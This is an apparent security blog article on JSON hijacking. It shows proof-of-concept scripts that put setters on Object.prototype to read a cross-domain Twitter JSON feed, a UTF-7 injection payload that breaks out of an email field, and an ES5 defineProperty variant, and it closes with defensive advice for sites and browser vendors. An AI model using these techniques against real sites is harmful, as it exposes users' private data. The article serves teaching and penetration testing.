JSON Hijacking

The example should alert "x is being assigned!". The __defineSetter__ is a special method that allows you to attach a setter to an object. The first argument is the name of your setter in this case "x" and the second argument is the function you wish to call, the object is taken from whichever object you called the __defineSetter__ method.
Now you know how they work you can now use this technique to steal JSON data by applying it to the Object prototype. The Object prototype is a Object that every other object inherits from in JavaScript, if you create a setter on the name of your target JSON data then you can get the value of the data. This time I'll show you a real world attack on Twitter that was fixed. My original article was called "I Know what your friends did last summer" [4] it was a play on the really bad horror films and the fact you could know who your friends are on twitter and basically what they were doing and where. Joe Walker also discovered this technique separately [5]


<script>
Object.prototype.__defineSetter__('user',function(obj){
for(var i in obj) {
alert(i + '=' + obj[i]);
}
});
</script>
<script defer="defer" src=https://twitter.com/statuses/friends_timeline/>
</script>


The first part of the script uses __defineSetter__ on the object prototype and uses "user" as a property, Twitter used the "user" property to store an object about the user in the JSON data. The script then loops through the object and reads the data about the user which would be name,email, location etc. The second part actually includes the twitter JSON feed.

New attacks

If you have partial control over some of the JSON data it's possible to steal the data by manipulating it using UTF-7. For example if you control the "email" field of the JSON data you could encode it in such a way that when it's included it exposes the rest of the data.


[{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJw
BNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdw
BpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAb
wBiACcAOgAnAGQAbwBuAGU-'}]


You can then include the JSON data using a script tag with the UTF-7 charset which converts the +- encoded string to:

[{'friend':'luke','email':''}];alert(‘May the force be with you’);[{'job':'done'}]


Our email field is being closed and manipulated so we can inject our own JavaScript, this way we could steal the data by using timeouts or function calls on the array data. The user "luoluo" from a comment on my blog provides a good example:


[{'friend':'luke','email':''}, 1].sort(function(x,y) {
for (var o in x) {
alert(o + “:” + x[o]);
}
});
setTimeout(function() {
var x = data[0];
for (var o in x) {
alert(o + “:” + x[o]);
}
}, 100);var data=[{'job':'done'}];


ES5 functionality

If __defineSetter__ is not available there is a standards based alternative that may allow JSON stealing to continue. Using the defineProperty or defineProperties methods of the Object you could conduct a similar attack which varies in syntax only slightly.


Object.defineProperty(window,'x',{set: function() {
alert('x is being assigned!');
}});
window.x=1;


As you can see the syntax is very similar, this time however we use window.Object to call the method and specify the Object we wish to create the setter on in the first argument, the second argument is the name of our property and the third argument takes a object literal to define the setter. This can also be applied to the Object prototype by replacing "window" with Object.prototype thus re-creating the object prototype attack mentioned earlier.


Object.defineProperty(Object.prototype, 'user', {
set:function(obj) {
for(var i in obj) {
alert(i + '=' + obj[i]);
}
}
});


Conclusion

If you are pen testing JSON feeds make sure the web site in question prevents external inclusion of the data via script or even better recommend the site does not expose the data publicly if privacy will be compromised. Twitter solved the information disclosure problem by requiring authentication for its JSON and other feeds consider doing the same if the data has to be exposed.
The flaws mentioned in this article exploit design level bugs in how Object literals & array constructors are handled, some browser vendors do not consider them flaws as such, I have to disagree.
The root of the problem is external script inclusion across domains which unfortunately isn’t going to go away any time soon due to the design of the web, we can lock down features in way that they do not compromise privacy, do we really need setters on the Object prototype? If they are required why not place some restrictions on how they can be applied across domains. I understand the vendor’s point of view, technically they are not flaws they are features and in a perfect world they would be used in the correct way and web sites would generate well formed JSON feeds but this isn’t a perfect world and web developers make assumptions about their data. I recommend vendors follow the developer’s assumptions and prevent these types of attacks by locking down the functionality so it can’t be exploited. Developer assumptions create security holes.

References/Links

[1] Joe Walker http://directwebremoting.org/blog/joe/2007/03/05/json_is_not_as_safe_as_people_think_it_is.html
[2] Jeremiah Grossman http://jeremiahgrossman.blogspot.com/2006/01/advanced-web-attack-techniques-using.html
[3] Mozilla security https://developer.mozilla.org/web-tech/2009/04/29/object-and-array-initializers-should-not-invoke-setters-when-evaluated/
[4] http://www.thespanner.co.uk/2009/01/07/i-know-what-your-friends-did-last-summer/
[5] Joe Walker http://directwebremoting.org/blog/joe/2007/03/06/json_is_not_as_safe_as_people_think_it_is_part_2.html